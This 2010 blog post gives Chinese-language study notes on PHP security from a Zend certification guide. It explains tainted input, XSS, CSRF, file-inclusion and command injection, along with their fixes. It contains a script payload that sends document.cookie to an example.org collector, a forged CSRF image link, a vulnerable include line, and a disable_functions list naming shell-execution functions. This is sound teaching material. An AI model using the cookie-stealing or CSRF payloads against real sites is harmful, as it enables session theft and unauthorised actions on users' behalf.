- Concepts and Practices
注意以下事件
- All Input Is Tainted
謹慎想像每個Input都被污染(Tainted),所以都要檢查
- Whitelist vs. Blacklist Filtering
- Filter Input
- Escape Output
- Register Globals
- All Input Is Tainted
- Website Security
- Spoofed Forms
- Cross-Site Scripting (XSS)
在送出的input中,直接加入script,攻擊者即可透過$_GET['cookies']得到cookie的內容
<script> document.location = ''http://example.org/getcookies.php?cookies='' + document.cookie; </script>
- Cross-Site Request Forgeries (CSRF)
說明:在使用者登入的情況下,假造一個link夾帶get的指令(通常用img裡夾),
ex: <img src="http://example.org/checkout.php?isbn=031234&qty=1" >
讓使用者點選進而執行get的指令(例如修改資料等),因為是在使用者登入的情況下,所以指令會執行成功
解決方法:get問題,雖可用post解決,但當server端利用$_REQUEST,則會遇到相同問題
雖post仍算是減少傷害,但仍不能完全避免,要完全避免可利用random token
在產生form時,在session記錄個token,另一方面在form埋個hidden存token
如此一來即可比對
<?php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; ?> //產生form <form action="checkout.php" method="POST"> <input type="hidden" name="token" value="<?php echo $token;?>" /?> <!-- Remainder of form --> </form> //request if (isset($_SESSION['token']) && isset($_POST[』token』]) && $_POST['token'] == $_SESSION['token']) { // Token is valid, continue processing form data }
- Database Security
- Filesystem Security
- Remote Code Injection
說明:當php裡利用以下方法include檔案時,攻擊者只要改變section值即可插入攻擊碼
include "{$_GET['section']}/data.inc.php";
解決方法:限制可選的路徑
$clean = array(); $sections = array('home', 'news', 'photos', 'blog'); if (in_array($_GET['section'], $sections)) $clean['section'] = $_GET['section']; else $clean['section'] = 'home'; include "{clean['section']}/data.inc.php";
- Command Injection
說明:由於php可以動態載入檔案,又提供exec(), system() and passthru()等,可以執行系統執令的強大函式,所以一但被攻擊,這下問題就大條了
解決方法:適當的filtering及escaping要做好囉
- Remote Code Injection
- Shared Hosting
針對以下幾個設定限制,可以事先避開Filesystem Security,command injection的問題
- open_basedir
<virtualhost *> DocumentRoot /home/user/www ServerName www.example.org <Drectory home/user/www> php_admin_value open_basedir "/home/user/www/:/usr/local/lib/php/" //限制資料夾 </Directory> </virtualhost>
- disable_functions (php.ini)
;Disable functions disable_functions = exec,passthru,shell_exec,system
- and disable_classes (php.ini)
;Disable classes disable_classes = DirectoryIterator,Directory
- open_basedir
星期三, 10月 27, 2010
Zend PHP 5 Certification Study Guide 筆記 (四) Security
訂閱:
張貼留言 (Atom)
沒有留言:
張貼留言